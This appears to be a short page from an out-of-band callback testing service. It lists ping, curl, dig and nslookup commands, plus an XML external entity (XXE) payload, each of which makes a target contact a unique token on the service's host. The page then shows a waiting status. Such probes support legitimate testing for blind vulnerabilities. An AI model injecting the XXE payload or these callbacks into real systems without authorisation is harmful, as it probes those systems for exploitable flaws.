$ ping -c1 -p 00425c1c5262bf359fc38b4e62fca500 unhack.ca
 
$ curl http://unhack.ca/p/425c1c5262bf359fc38b4e62fca5
 
$ dig 425c1c5262bf359fc38b4e62fca5 @unhack.ca
 
$ dig 425c1c5262bf359fc38b4e62fca5.ns.unhack.ca
 
C:\> nslookup 425c1c5262bf359fc38b4e62fca5 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/425c1c5262bf359fc38b4e62fca5">]>
    <foo>&xxe;</foo>
Waiting for ping...